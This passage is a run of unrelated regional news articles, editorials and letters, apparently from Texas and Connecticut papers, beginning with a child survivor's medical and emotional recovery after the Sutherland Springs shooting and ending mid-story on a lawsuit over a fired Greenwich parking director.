hospitals pediatric trauma medical director, and her colleagues knew from research that too many surgeries early on could be detrimental. And so the surgeons goals in those initial hours were simple: Stop the bleeding and the leaking from his intestines. Help him to the point where he could be sent to the intensive care unit to rest. While a fellow surgeon tried to repair wounds to the boys organs, Liao went to work on his arm. The pulse in Rylands hand was faint. An artery had been injured. Liao cleaned the wound and searched for the two ends of the radial blood vessel. To rejoin them, she inserted a shunt, a narrow plastic tube, to restore blood flow to Rylands hand. It was the same technique used for soldiers wounded in combat. Liao cut away dead tissue and covered the wound. Orthopedic surgeons did what they could to stabilize Rylands left hip and leg, which was now missing a huge section of bone. Ryland had made it through the first set of surgeries. By that point, his surgeons knew that, based on statistics, he had a good chance of survival. I saw God While Ryland lay in a medically induced coma, his family members had to contend not only with the enormity of his medical needs, but with crushing grief. They had lost Rylands stepmother, Joann Ward, and her daughters, Emily, 7, and Brooke, 5. Many other Sutherland Springs residents, who in some cases were as good as family, were also gone. READ MORE: Keeping Faith: Sutherland Springs relies on church to cope with shootings aftermath At the hospital, Sandy Ward, Rylands grandmother, wondered about the fate of friends and neighbors she had yet to hear from. She resolved not to give up hope, not to assume the worst. She approached Rylands condition the same way. When doctors emerged with updates, at one point expressing uncertainty about how much use he would have of his left leg, she kept up the same refrain: Just have faith. Hes going to be fine. That faith would become ever-present at the hospital. When Ryland was roused for the first time, the first thing he told his dad was that hed seen God, Sandy said. He told his dad, I saw God and he told me it wasnt my time yet, that I had to go back and take care of my dad. Other astonishing moments unfolded in the operating room, where Ryland returned every few days. Wounds from high-velocity weapons can worsen in subsequent days, so surgeons combed the blast areas on his arm and leg for dead tissue. They also reattached severed pieces of organs. Weeks after the shooting, Liao and two other surgeons watched intently as an interventional radiologist, Dr. Jorge Lopera, attempted to place a stent to repair Rylands injured ureter, the tube that connects the kidney to the bladder. Repairing the area through surgery could have caused scarring, doing more harm than good, so Lopera had agreed to try to place the stent using wires and catheters, a delicate procedure with little margin for error. He got it on the first try. Look how far I walked To oversee Rylands rehabilitation, Liao reached out to Dr. Cynthia Riley, chief medical officer for Childrens Rehabilitation Institute TeletonUSA, an outpatient facility in northeast San Antonio. When Riley met Ryland for the first time, he was in critical condition and undergoing surgeries. His left leg and pelvis were enclosed in external fixators, cage-like metal structures that held his broken bones in place. Doctors hoped the large gap in his femur could be bridged by the formation of calcium deposits into a bony growth called a callus, as part of the natural healing process. Tubes were connected to his kidneys and he was hooked to a colostomy bag to protect his still-mending large intestine. He had endured excruciating pain as his wounds were washed to ward off infection. Watching him suffer made his grandmothers heart hurt. Rylands rehab sessions with Riley began the day after Christmas. He struggled at first. Even simple tasks like sitting up for five seconds left him in tears. Sometimes he would cry through entire sessions. Ryland was required to complete three hours of rehab a day, six days a week. Those appointments had to be scheduled around surgeries and medical procedures, nursing care, time with family, psychotherapy and lessons with a teacher who visited Ryland at the hospital. Once Ryland got over his initial fears, he progressed quickly. Sometime around the New Year, Ryland took his first steps after being bedridden for weeks. Riley remembers the boy calling to his father as he rounded a corner. Look Dad, look how far I walked, he said. As he began to walk, Ryland had to compensate for his injured leg. The external fixators had allowed cortical bone to grow on both ends of the shattered femur, but the healed section had become compacted, making his left leg slightly shorter than the other. Ryland celebrated his sixth birthday in the hospital, on Jan. 5. In a video posted online that day, Ryland took tiny shuffling steps, guided by two therapists who anchored him to a small walker. Good job, Ryland, several voices encouraged him. Throughout Rylands hospital stay, gifts, money and cards arrived almost every day. His doctors tried to set boundaries. Still, when Ryland was finally discharged on Jan. 11, the last Sutherland Springs victim to leave the hospital, he went home in a fire truck. Conquering fear Again and again, the scene was the same. A hurt child was riding in an ambulance. At the hospital, or on the way there, a bad guy started shooting. Everyone had to hide. In their early sessions, Dr. Donna Roybal, a child psychiatrist at UT Health San Antonio, watched Ryland repeat this scenario, using toys she had provided. It can be difficult for young children to articulate their feelings about traumatic incidents, so mental health professionals employ play therapy. Roybals tools could be found in any childs toybox puppets, dollhouses, cars and ambulances. When Roybal first met Ryland, she found him sweet, but quiet. Afraid. She did not have to explain to him that his family members had been killed. He understood that early on. He also knew that the man who had hurt him was gone. On ExpressNews.com: The Gunmans Wife But he was still afraid. During their early appointments, Ryland gravitated toward the ambulance. He played aggressively with cars or animals, in ways that often ended with a play figure getting hurt. When Roybal asked him if he knew what happened to the bad guy, Ryland would answer, Hes still out there. Once, Ryland dropped the ambulance from a height. He told Roybal the people in the ambulance were fine, even though the toy had fallen apart. On a chart with faces indicating different emotions, Ryland pointed to those for sad and angry. It was a breakthrough. Ryland was comfortable enough to tell Roybal how he really felt. Regaining what was lost As Roybal tried to tease out Rylands emotions, Riley and a team of specialists at the Childrens Rehabilitation Institute, or CRIT, worked with him three days a week on his physical recovery. Ryland had aquatics therapy in a specialized pool. He underwent training for walking and moving his hip and did strengthening exercises for his hand and leg. Rylands father, Chris, learned how to care for Rylands wounds, massaging the scar tissue and applying lotion. He had to rein in his rambunctious son to prevent further injuries. As Ryland improved, his appointments became less frequent. Over the summer, his colostomy was removed. In September, he graduated from physical therapy. Four days before the one-year anniversary of the shooting, Ryland walked through the doors of CRIT with his father, a smile on his face. He wandered over to the front security desk before taking the hand of Katherine Garcia, a student with UT Health San Antonio who would work with him that day alongside Cardenas, the occupational therapist. They walked the halls of the facility, where colorful patterns and shapes adorn the floors, walls and ceilings. Ryland sat at a table in a small room filled with rehab equipment. He pointed at what resembled a treadmill and said, I want to do that. Cardenas and Garcia refocused the boys attention on a black case containing devices that would measure the strength of both hands. After pressing a metal button with his thumbs and index fingers, Ryland screwed up his face in concentration, sticking out his tongue as he gripped a black bar with his hands. Garcia and Cardenas brought out a red box with holes on each side and a solid top that obscured Rylands view. While Garcia held up sheets of paper with different shapes, Ryland tried to find the corresponding shape inside the box, an exercise that tested his sensation and object recognition. When Ryland was prompted to find a cross-shaped block, he immediately located it. Hey, were you peeking? Garcia asked. Ryland smirked, shaking his head. I did not peek, I promise you, Ryland said as he fumbled in the box with his left hand. Next, they ushered Ryland to a chair in front of a computer screen, where his left arm was strapped to a mechanical arm and his hand controlled a black joystick. Another screen displayed a diagram of Rylands arm as he played a series of games, including one where he tried to catch jelly fish with a net. How many points did I do? Ryland asked. As Riley watched the muscles fire on the injured arm, she marveled at his recovery. When Ryland first came to CRIT, his hand hung limp from the damage to his radial nerve. To prevent his wrist muscles from losing elasticity, he had worn a wrist-hand orthosis, a custom-molded splint that he hated. Initially, Riley and her team worried the nerve might be injured beyond repair, or completely gone. Occupational therapy helped him regain hand function. Ryland sorted, stacked and connected objects. In sensory exercises, he touched and handled objects with varying textures, sizes and temperatures. The injured nerve had started working again. He looks great In Rileys office, Ryland flopped down on a padded exam bench. Riley tickled his stomach to get him to sit up, eliciting giggles. Sit up for me. Youre being silly now, Riley said. Can you sit up the whole way? Criss-cross applesauce? Ryland sat up but refused to cross his legs. He slumped back onto his side. Where are you going, Ryland? I just want to see your arm, Riley said. She helped Ryland off the bench, sitting on a chair as he stood next to her. While she felt his arm and moved it in different directions, Ryland played with a toy truck. Palm up, like youre getting some money from dad, Riley told Ryland, who smiled. His father chuckled. Riley asked Ryland to make a fist, but his attention was on the truck, which he rapidly drove across the bench. I have a Batman helicopter, Riley said to get his attention. Rylands face lit up. He excitedly looked at his dad. Does it fly? he asked. Well, kind of. We can make it fly. Riley coaxed Ryland to make a fist with his left hand and give a thumbs up. She held his left elbow against his torso and instructed him to raise his wrist. It barely moved. So thats still pretty weak, Riley said, looking over at Chris. What I want him to do is a lot of digging, kind of reverse digging. I know he loves to be outside. I want him to scoop kind of backwards. Anything that can make his wrist go back, because we need to strengthen that muscle. While Ryland played with a box of toys, Riley sat down at her desk across from Chris. He looks good. His rehab in the arm and the leg is remarkable, she told him. So anything you can do. Hes almost got full strength back. He doesnt quite have wrist extension, the one where it goes back. Hes doing well in school? Good? No problems? Riley asked. No problems, Chris said. Excellent, Riley said. He looks great. Were really super happy. An astonishing recovery Ryland has made progress in his sessions with Roybal, too. During a recent appointment, he talked about his friends and acted out scenarios from his school, Floresville South Elementary, where he is repeating kindergarten after missing so much of the last school year. He no longer goes for the ambulance first, suggesting that the events of last year are less prominent in his mind. But Roybal still wants to get Ryland to a point where he can resolve his fears. In her experience, that can take much longer than physical healing. Because of the complexity of his case, physicians at University will follow Ryland into adulthood. He will be at risk for chronic bone infection in his leg and arthritis in his hip. When Riley ponders how far Ryland has come, a word comes to mind. Miracle. Sandy, his grandmother, feels the same. During a recent trip to Dairy Queen for a treat after Ryland went to art and music therapy in La Vernia at the Center for Healing and Hope of South Texas in the Ecumenical Center, Sandy watched him speed around the restaurant and climb on furniture, chocolate smeared on his chin. You dont believe in miracles? Sandy said. Look at Ryland. Because there is no way that that boy is not a miracle. Lauren Caruba covers health care and medicine in the San Antonio and Bexar County area. Read her on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | lcaruba@express-news.net | Twitter: @LaurenCaruba Lisa Krantz is a staff photographer for the San Antonio Express-News. Julia Andreu has lived in fear of her alleged domestic abuser for the past two years. But the single mother said a second fear often has loomed even larger: the threat that Child Protective Services could take her kids away. Andreu cited this anxiety as the primary reason she repeatedly withdrew accusations against her then-boyfriend James Preston Green, who was the subject of a San Antonio Express-News investigation Sunday. Green pleaded no contest to his fourth DWI in October, and a judge granted him probation in a plea bargain recommended by the Bexar County district attorneys office. As part of the deal, two felony charges of family violence against Green, both stemming from alleged attacks on Andreu, were dismissed. Greens deal barred him from contacting Andreu in a harmful or injurious manner, as a condition of his probation. OnExpressNews.com: Serial offender James Preston Green violates probation again On the day of the dismissals, a prosecutor concluded Andreu had demonstrated credibility issues after she withdrew multiple allegations against Green, according to notes on the case in an internal court system. Andreu said she did so under the threat of losing her kids. Green threatened to call CPS, and he has done it before, she said. That was his way of having control over me. That was using my children so if I said anything or I didnt try to work things out with him, then my kids were at stake. Green, 37, was arrested on Tuesday, accused of violating his probation by consuming alcohol. He was in Bexar County Jail on Wednesday, held without bond awaiting a hearing. Greens defense attorney did not return a call requesting comment. His father, Jimmy Green, disputed Andreus allegation that Green had used CPS to control her. I dont believe that is true, said the elder Green, a prominent businessman and philanthropist who owns J. Green Jewelers in Stone Oak. He added, My son is sick, and hes going to jail and hes paying the price. Andreu has three children one in elementary and two in middle school. None is James Preston Greens child. Andreu and the younger Green began dating around May of last year. In August 2017, she called police to report that Green had shown up at her house very intoxicated, accused her of cheating, then slammed her to the ground causing her to hit the back of her head causing it to bleed, according to a police report. OnExpressNews.com: Bexar County man dodges prison despite 4 consecutive DWI Green threw her down on the floor and was choking her to the point that she passed out for a bit, and thats when (Green) stopped, the report said, citing Andreus account. Police photographed her injuries, which included a significant gash on her head, a cut to the forehead and strangulation marks on her neck, police spokesman Jesse Salame said. A Bexar County grand jury indicted Green on a felony assault charge. Andreu applied in civil court for a protective order to keep him away from her. I am afraid of James, Andreu wrote in an affidavit. Both cases should have received special attention from the DAs office. But after Green failed to show up for an October 2017 hearing on the protective order, that case was dropped and never reopened, court records show. The following month, Andreu was contacted by a CPS caseworker, she said. An anonymous caller had made an accusation, and the agency had opened a case. I felt a little bit betrayed, Andreu recalled. You feel shamed. Not only do you have your abuser having you under your thumb, you also have the legal system, which is someone who you think you can turn to for help, make you feel like you do have a problem, youre an unfit parent because you simply made a police report for domestic violence. She added, It makes you say, Hey, no, no, put the blame on me, its OK, never mind, it was nothing. Thats the fear that a lot of single mothers have in San Antonio. Two months after receiving the call from CPS, and on the same day Greens assault case was set to go to trial, Andreu went to the law office of Greens defense attorney and signed an affidavit in which she exonerated Green. She blamed herself for her injuries, contradicting her previous accounts. Salame, the police spokesman, said domestic abusers often seek to control their victims by threatening to call CPS. Unfortunately, that is a very common mechanism for control, he said. He said thats why the police department does not have a blanket policy to contact CPS whenever there is domestic violence in a household. We dont call CPS unless theres been some sort of injury to the child or unless we have reason to believe the child is in some sort of danger, he said. John Lennan, a CPS spokesman, said the agency will respond to any allegation of abuse or neglect. Andreu said another clash this year with Green was followed by a second CPS investigation. It was closed just last week, with no action, she said. When these incidents happened, my kids were not here, she said. But CPS was contacted. And so of course Im going to recant. WASHINGTON The border wall saga continues likely into 2019 and beyond, key Texas lawmakers said Wednesday. With no funding agreement in sight for President Donald Trumps promised border wall, congressional leaders moved Wednesday to put off until Feb. 8 a spending showdown that could partly shut down the federal government. The effort to avert a potential closure came after the White House signaled it might back down from Trumps demand that Congress provide $5 billion, suggesting instead there are other ways to get money for the border wall. A new funding bill by Republican Senate Majority Leader Mitch McConnell came after several days of mixed messages from the White House about whether Trump would accept a short-term deal to avoid a shutdown. Even as White House aide Stephen Miller said the president was absolutely willing to shut down the government over the wall, Trump floated a plan to have the military build it, an idea that has run into skepticism from Republicans and Democrats alike. Texas Republican Sen. John Cornyn, ending his six-year stint as GOP majority whip, said Trump is considering reprogramming past Defense Department appropriations, including money for U.S. Army Corps of Engineers construction projects. Im sure the president has his lawyers looking at whether thats feasible, Cornyn said, and whether he could do that without Congress approval. Cornyn blamed Democrats for the impasse, saying Trump faced incredible intransigence by incoming House Speaker Nancy Pelosi and Senate Minority Leader Chuck Schumer. For subscribers: Houston Rep.-elect Sylvia Garcia gets another shot at Dreamer legislation On Tuesday, Schumer rejected the GOPs latest offer of $1.6 billion border security spending, plus $1 billion in reallocated money for immigration enforcement other than a wall. Schumer called the additional pot of money a slush fund. While expressing disappointment in the Democratic response, Cornyn voiced his own reservations about repurposing unspent defense dollars for a border wall. Theres always competing demands for money and I would want to know where that money would be shifted from, Cornyn said Wednesday. If its shifted from some account that is a noncritical function, then I might be open to it. But if its taking money out of the pockets of our soldiers and sailors, airmen and Marines, I would not. We should have been taking a stand For Trump, signing a temporary funding measure without additional money earmarked for a wall still would mark a major concession. It comes on top of the administrations announcement Tuesday that it will relax some of the background check requirements for people sponsoring migrant children, a move that could speed the release of thousands of children being held in government facilities like the controversial tent camp in Tornillo. Related: A moral disaster: AP reveals scope of migrant kids program Immigrant advocates credited Trumps capitulation to the Democrats strengthened bargaining position in the wake of midterm elections that saw them gain 40 House seats, winning control of the chamber starting in January. On this side of the midterms, Trump doesnt seem so strong, invincible and domineering, does he? said Frank Sharry, executive director of the advocacy group Americas Voice. The Senate passed by a voice vote a resolution extending current government funding until Feb. 8. The resolution goes on Thursday to the House, where some conservatives urged Republicans to dig in while they still command majorities in both chambers. Let me get this straight, tweeted Ohio Republican Jim Jordan, a founding member of the House Freedom Caucus. Our chances of getting the Wall will be better in February when Nancy Pelosi is Speaker than now when we have the majority? Give me a break. Freedom Caucus Chairman Mark Meadows of North Carolina tweeted that the government funding extension will be a Christmas present for Democrats: Democrats will win, the wall will not be built, and Congress will once again have punted when we shouldve been taking a stand. Facing a Friday night deadline to head off a holiday government shutdown, Senate Republican leaders said they had little choice, finding themselves unable to approve wall funding without Democratic votes. I hope that this continuing resolution will provide us the time to work out our differences in a thoughtful manner and reach a bipartisan consensus on important national priorities, Appropriations Committee Chairman Richard Shelby of Alabama said. Pelosi and other Democrats also questioned whether there are enough Republican votes in the lame-duck House to pass the $5 billion funding request for a wall, which Trump originally said would be paid for by Mexico. Among those who have opposed Trumps wall proposal is Texas Republican Rep. Will Hurd, whose district is along the U.S.-Mexico border. Congress already has passed most of the governments 2019 funding, but at least six agencies are operating under a stopgap funding law that expires at midnight Friday. Among them is the Department of Homeland Security, which oversees border security and the wall. The Senates original homeland bill for 2019, approved on a bipartisan basis, includes $1.6 billion for border security. The House is expected to take up the new funding extension today, possibly ending a standoff that has been building for months. Either way the battle for Trumps wall is not over. The fight over this will continue, Cornyn said, probably up to and including the 2020 election. kevin.diaz@chron.com They have descended on street corners and crowded sidewalks. They have toppled in the wind and been strewn about Southtown. They have found their way onto residential streets in Alamo Heights, and outside the front doors of restaurants, businesses and even churches. People love them except when they do not. We are talking, of course, about e-scooters. The transportation equivalent, in some minds, of the grackle as they have swarmed and descended upon the Alamo City this fall and winter, their numbers expanding. Two months ago, there were 3,000 scooters here. That number will likely grow to 10,500 with new scooter and e-bike additions. We have done our fair share of scooting about town always with a helmet, and always in a bike lane or to the side of the road and have no problem with the concept and the mode. In many ways, they are a fun and efficient way to get from Point A to Point B (but not as much fun as walking or riding a bike). They are perfect for the trip that is too far to walk but a hassle to drive. And we had hoped, and continue to hope, the free market would sort itself out in terms of demand and number of scooters. But this laissez-faire attitude, a pilot program notwithstanding, is not working. The number of scooters has created visual pollution and clutter downtown, and the city of San Antonio needs to get a handle on the problem. That could mean capping the overall number of scooters, or finding a way to disburse them to areas beyond the center city, or limiting the number of scooters in an area at certain times of day. But there are suddenly too many in too small of an area. San Antonio has passed a pilot program limiting some scooter usage. This pilot program keeps scooters off busy streets, the River Walk and plazas (riding on Alamo Plaza is especially discouraged). It requires bike lanes to be used when available, and scooter riders are supposed to yield to pedestrians, although we witness that many do not. Whether these rules are being enforced, or are even enforceable, is anyones guess. The city hasnt exactly been aggressive in issuing citations or confiscating scooters. Earlier this month, Assistant City Manager Lori Houston told Express-News reporter Melissa Fletcher Stoeltje the city was in process of hiring enforcement officers and had yet to confiscate an e-scooter. But even if the city does step up enforcement of its own rules, the question of scooter clutter remains unanswered. Downtown is a tourist destination. Scooters in the middle of sidewalks or strewn in front of businesses looks trashy and overwhelming. The city also has a responsibility to ensure the safety and well-being of residents and visitors. As Stoeltje reported, just since Oct. 11, there have been 122 complaints about scooters, mostly from angered pedestrians who might have been hit or almost hit by scooters. We see this, one member of the Editorial Board having recently almost been hit by a scooter whose rider (no helmet) was cruising the wrong way on Broadway downtown and practically ran a red light. There have also been reports of people riding scooters with babies strapped to them in carriers. Cmon, people. These are vehicles moving at roughly 18 mph often surrounded by cars and trucks. As Stoeltje reported, more than 70 scooter-related injuries to riders and pedestrians have been reported to the Fire Department since July. A relative small number, unless, of course, you are one of those pedestrians injured. The city helped create the scooter infestation and has a responsibility to fix it. There can be too much of a good thing. Recall Texas Judge Reed OConnor for his ruling overturning the Affordable Care Act, leaving 17 million Americans without health care. Great News, says Donald Trump, that 17 million Americans could lose their health care coverage as he continues to play to the Obama haters in the Republican Party base. Cant you just hear Trump laughing it up with his rich buddies as he says of those 17 million people: Le em eat cake. Ron Lowe, Harlingen Trump practical Re: Not brave at all, Your Turn, Sunday: In the 15 years I have been a loyal reader of the Express-News Editorial Page, I have read some real beauts chosen for publication. They range from just poorly written, making no valid point, to being patently wrong on every level. This offering by G.L. Lamborn falls into the latter category. On what planet is a subject of Saudi Arabia a U.S. person? What in the world is a U.S. person? Yes, Jamal Khashoggi wrote for a time in the U.S. for one of our more famous left-wing publications, the Washington Post, but that in no way confers U.S. citizenship. Khashoggi was a citizen of an absolute monarchy under a king, governed under Sharia law, where thieves are likely to have their hands cut off publicly for having stolen something. I fail to see why Khashoggi, knowing the score, chose to get crosswise with the Saudi crown prince. He really should have known better, yet he blithely enters a Saudi consulate in another Muslim country to secure some paperwork. It would have been a lot smarter to have visited a Saudi consulate here in the U.S. Lamborn is critical of President Donald Trumps handling of the situation. I guess he thinks we should have invaded one of our staunchest allies to bring its crown prince to justice. I think the president did exactly the right thing to stay out of it. This entire affair was totally out of any U.S. jurisdiction, so we had no basis for butting in. I would not, as letter writer Greg Nussel did (Dec. 1), call Trump brave for taking the position he did. I would call the president practical. Furthermore, the only reason this incident got so much press coverage here in the U.S. is because Khashoggi had worked for one of our premier left-wing, fake news publications determined to bring down Trump. Robert E. Blake Whos in charge? Recently a delegation of current and former SAHA tenants visited with the field director of the Department of Housing and Urban Development seeking remedy in our right to organize tenants as per HUD regulations. To our surprise we were told that this is not a responsibility of HUD. Rather it is a responsibility of the mayor and City Council. We are both disappointed and confused. When did enforcement of federal regulations become the duty of the city government? Pancho Valdez, member, Resident Council at Marie McGuire Alamo Towers, a pair of San Antonio office buildings that are part of late real estate tycoon James F. Cotters estate, is for sale again after a nearly $14.9-million deal fell through. Partners Investors, a company owned by local real estate executive Charles Chuck Brown, earlier this month terminated an agreement to buy the two eight-story office buildings near Loop 410 and Broadway. Partners Investors exercised its right to void the deal after finding one or more issues during its inspection of the property, according to a Dec. 13 bankruptcy court filing. Marcus Rogers, the independent administrator appointed to oversee Cotters estate, said it was private when asked after a Wednesday court hearing what quashed the deal. Rogers put the company that owns Alamo Towers into bankruptcy more a year ago to stop a foreclosure after Cotters death at age 83 on Jan. 25, 2017. He died without a valid will. Rogers has been selling estate assets, including real estate, to pay Cotters creditors. Calls to Brown and his bankruptcy lawyer, David Gragg, were not immediately returned. Attorney H. Anthony Hervol, who represents Rogers, said during the court hearing that Partners Investors is still interested in purchasing the property but has some issues that it wants to iron out. Including maybe a reduction in the price? U.S. Bankruptcy Judge Craig Gargotta asked. When Hervol said he didnt know, Gargotta replied, I asked the question. You didnt intimate the answer. The first building was built in 1975 and the second building was built in 1980, Bexar County Appraisal Districts website shows. Cotter acquired both for for an undisclosed price in 2007. Hervol said there appears to be at least three other parties also interested in acquiring the property. He didnt name them because of confidentiality agreements. What Im trying to gauge is, we need some finality. How are we going to achieve that? Gargotta said. Im just trying to see where were going on this if things dont happen with Partners Investors. Carrie Caesar, a commercial real estate agent with Cushman & Wakefield, which has been marketing Alamo Towers, told the judge that they should bring offers to the table from interested partners while also working to see if they can resolve Partners Investors issues. Eric Seitz, a Dallas attorney representing a company that holds the mortgage note on Alamo Towers, also weighed in on sale efforts. The company is affiliated with LNR Partners of Miami Beach, Fla., and is owed more than $10.6 million, a November 2017 court document shows. At this point in time, we believe the best path forward for a quick and positive resolution is to continue marketing the property, Seitz said. But he raised the issue of how much longer his client was willing to wait for a deal to get done. There are some other procedures that could dispense with this more quickly, he added. But for right now, we are continuing to work with the debtor. Calling it a delicate process, Gargotta set a hearing for Jan. 28 to get an update on where efforts to the sell the buildings stand. This shouldnt shock you: Im going to be looking for some progress toward resolution, Gargotta told Hervol. It would be helpful to the court if you could show or demonstrate progress in the case. I will purposely not define what progress is, if you catch my drift. This isnt the first hiccup in efforts to sell Alamo Tower. James Val Cotter, one of James F. Cotters sons, offered to buy the buildings for $15.2 million. But Gargotta ruled in September that it was in the best interest of the bankruptcy estate to go with a more expeditious sale that contains less contingencies. Patrick Danner is a San Antonio-based staff writer covering banking and civil courts. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | pdanner@express-news.net | Twitter: @AlamoPD BRIDGEPORT Park Cemetery has allegedly been run into the ground by its former manager. The cemetery, the final resting place of former Mayor Jasper McLevy as well as veterans of every conflict since the Civil War, has no money and will be unable to continue operating, says a Shelton woman who is now overseeing it. It been difficult to accept, but the 140-year-old cemetery that was once financially able to pay its bills and serve area families, the indigent and veterans from the Civil War to present with care and dignity is insolvent, said Cheryl Jansen, who has generations of her family buried there. Jansen successfully sued to get the cemeterys manager, Dale LaPrade, ousted. LaPrade was arrested and charged with interference with a cemetery, a felony, after police found that she was having old graves dug up to make room for new burials. The cemetery is owned by the families of those buried there and have paid for perpetual care of the grave sites. Police said LaPrade, who with her husband Daniel have been running the cemetery for 30 years, charges $1,150 for a single grave and $800 for grave openings and $200 more if it is done on a Saturday. Police said LaPrade told them she averages 140 burials a year and has sole access to the cemeterys bank account, paying her employees in cash. In May 2010, the Internal Revenue Service revoked the cemeterys nonprofit status for failing to comply with IRS rules. The LaPrades left a financial disaster in their wake, said Jansen. Hundreds of thousands of dollars in state and federal taxes owed, loss of the perpetual care fund paid into by plot owners for decades for maintenance and upkeep of the property. Dale LaPrade declined comment. Jansen said there are also squatters who refuse to leave the house where the cemetery office is located. All the utilities were disconnected for non-payment by LaPrade, so the building has no heat, electricity or water service, Jansen said. At this point, the cemetery is being overseen by a volunteer board but Jansen said dealing with years of problems created by mismanagement and neglect is beyond the boards resources. Park is still an active cemetery association and it must be responsible to those who have family members interred there and legally own plots, she said. We all want to see Park return to dignity and solvency. Its not possible to lock the gate and walk away. STAMFORD A city man with a long criminal record has pleaded guilty after he was recently caught dealing drugs in the parking lot of a South End restaurant. Albert Lee Robinson, 57, faces up to 20 years in prison plus additional time for violating the conditions of his supervised release. Robinson will be sentenced March 12 in Bridgeport Federal Court. Robinson was arrested in August when Stamford police caught him dealing drugs outside Dinosaur Bar-B-Que, where he worked. Police said Robinson was found with 312 glassine folds of heroin, 213 bags of crack cocaine and 18 grams of powder cocaine in five bags inside his car. Officers also seized a digital scale and $2,052 in cash. This man had a virtual supermarket of various different drugs in that white Subaru and he would walk back and forth to that car and was very active on the cellphone, Stamford police Capt. Richard Conklin said. This was a very substantial dealer arrested by Narcotics and Organized Crime, who utilized a lot of patience as this situation came into focus. A federal grand jury in New Haven returned an indictment in September, charging Robinson with one count of possession with intent to distribute controlled substances. A day after the indictment was returned, members of the DEAs Bridgeport High Intensity Drug Trafficking Area Task Force and Stamford Police executed a federal arrest warrant for Robinson. Police said Robinson was found with a bag of powder cocaine when he was arrested. Robinson has been detained since his federal arrest. Robinson was sentenced in January 2004 to more than 15 years in jail, followed by five years of supervised release, for distributing crack cocaine. Robinson was sentenced as a career offender based on prior convictions for burglary, narcotics and robbery offenses. Robinson was released from prison in August 2017 and began serving his five-year term of supervised release. jnickerson@stamfordadvocate.com There are some portions which are not relevant to the recommendations but pertain to the history of the Maratha community. Mumbai: The Maharashtra government told the Bombay high court that the backward class commission report cannot be made public as it contains the history of the Maratha community which can create unrest. A division bench of Justices N.H. Patil and Makarand Karnika on December 10 asked the government if it was willing to make public the report submitted by the state backward class commission, on whose recommendations the government introduced the legislation. To this, the government counsel, V.A. Thorat, and advocate general Ashutosh Kum-bhakoni said that while the government was duty-bound to submit a copy of the report to the court, it had some apprehensions about giving the report to lawyers who had filed petitions, and making it public. There are some portions which are not relevant to the recommendations but pertain to the history of the Maratha community. This we feel may create social unrest. Some wounds, though healed, if opened, may create unrest, said AG Kumbhakoni said. Mr Thorat said that those portions were volatile in nature. GREENWICH Zoning commissioners continue to focus on parking or the lack thereof for a proposed new synagogue in central Greenwich. They again raised concerns this week that the congregation does not have enough spots reserved in an existing parking garage to handle members. There are intrinsic limiting factors that make it less functional for the congregation, acting commission Chair Margarita Alban said at a meeting of the Planning and Zoning Commission Tuesday. The commission closed testimony on the proposal, but members put off voting on the matter until a later date. Under the current proposal, a 20,913-square-foot building would be built on three lots at 226 and 230 Mason St. and 16 Havemeyer Place. It would include a synagogue and a preschool for Chabad Lubavitch of Greenwich. The new structure would utilize 5,600 square feet of the existing site of the Greenwich Armory, which is currently used as office space, and would share a parking garage with nearby tenants. Chabad currently operates out of 75 Mason St., but the space has become too small for the congregation and preschool. The parking garage has a total of 123 spaces, with 32 reserved for Chabad and 91 for other tenants. However, Thomas Heagney, the attorney representing Chabad, said they have an agreement that would allow for all of the spaces to be used after 5 p.m. on weekdays and throughout the weekend, which is when evening and Saturday services would be taking place at the synagogue. Bernard Adler, a traffic engineer retained by Chabad, said a study had been done showing that at most 31 of the 32 spaces would be used daily for drop-off and pick-up at the preschool. During the high holidays, Rosh Hashanah and Yom Kippur, Heagney said an arrangement has been made with the Greenwich Public Schools for people to use the nearby Julian Curtiss School parking lot because school would not be in session. When pressed by the commission, Heagney said the arrangement with the district was not in writing, but similar agreements between religious institutions and schools have worked before without any issue. Chabad has insisted available parking will be enough to handle its needs, but it was unclear this week whether the commission was convinced enough to support the project. Commissioner Dennis Yeskey inquired what would happen if there were a weekday wedding or funeral. Chabad officials said weddings typically do not happen on weekdays and funerals would likely happen off-site, but no actual plan was introduced to address his concerns. Alban said if all the parking spaces in the lot were available for Chabad this would work perfectly, but felt it was a problem that 91 of the spaces are designated for others to use during weekdays. You tell us you want it to work perfectly and it will work perfectly because we will make it work perfectly, pledged Rabbi Yossi Deren, Chabad of Greenwichs executive director. We have to make it work perfectly. We have the very intense regulations of the beautiful town of Greenwich to fit into and were going to plain and simple. Deren also promised to continue to work closely with the commission but did express frustration that he felt Chabad was being held to a different standard than others have been in the past. He cited difficulties with the towns Historic District Commission and ongoing public opposition despite changes the congregation has made to the plan, including comments in an online petition that Deren and others at Chabad have taken exception to. The line keeps on getting moved and the nature of these things that keep popping up whenever we comply with earlier objections are of a standard that others are not held to and thats unfair, Deren said. Its called discriminatory. Members of the public in attendance reacted angrily to the claim. Alban and town Director of Planning and Zoning Katie DeLuca rejected it, saying they were simply following the law and town zoning regulations and applying a fair standard to questions theyve had about the project. We know its hard for an applicant but we try our best to be consistent, Alban said. Deren said he did feel the love from the commission, to which Alban joked it was tough love. Neighbors have voiced opposition to the project, including complaints about parking and traffic downtown and potential changes to neighborhood character. I am not a Jew but I am a man of faith and I believe in the word of the psalmist who said, I was glad when they said unto me let us go into the house of the lord, said James Fulton, an attorney representing the residents of the Virginia Court Condominium at 169 Mason Street. But this site is too small for this growing spiritual community. The parking, 31 or 32 available spaces during the weekdays is not going to be adequate and traffic is going to be a nightmare resulting from a nomadic search for non-existent spaces at the busiest rush hour time of the week. The commission will next meet on Jan. 8. Several members of the public spoke during a lengthy hearing on the proposed project Tuesday, including neighbors and other residents who voiced concerns and members of the Chabad congregation who strongly backed the plan. Use of the armory had been criticized due to its historic value. The towns Veterans Appreciation Council recently met with Chabad and came together on ways to honor veterans if the new synagogue is approved. No more public testimony about the proposal will be heard now that the item has been closed. As one of the final speakers of the night, town resident Dean Gamanos, a member of the Veterans Appreciation Council, offered hope that the matter would lead to a positive outcome. I think if we just keep working together, listening and sticking to the rules that well all end up with a happy situation, Gamanos said. kborsuk@greenwichtime.com GREENWICH The towns legal staff is defending the decision to fire the director of parking services late last year. In a lawsuit filed in state Superior Court, Rita Azrelyant says the town acted with reckless disregard of her rights. But the towns lawyers are now saying otherwise. The controversy at the Greenwich Department of Parking Service began when an employee, Michael Gordon, was arrested and charged with financial crimes in April 2017. He entered guilty pleas to felony counts of first- and second-degree larceny in September after making restitution of about $4,000. He avoided probation and jail time. Azrelyant said she attempted to initiate new procedures in the parking services department, which would have improved internal security, before Gordon was arrested. In 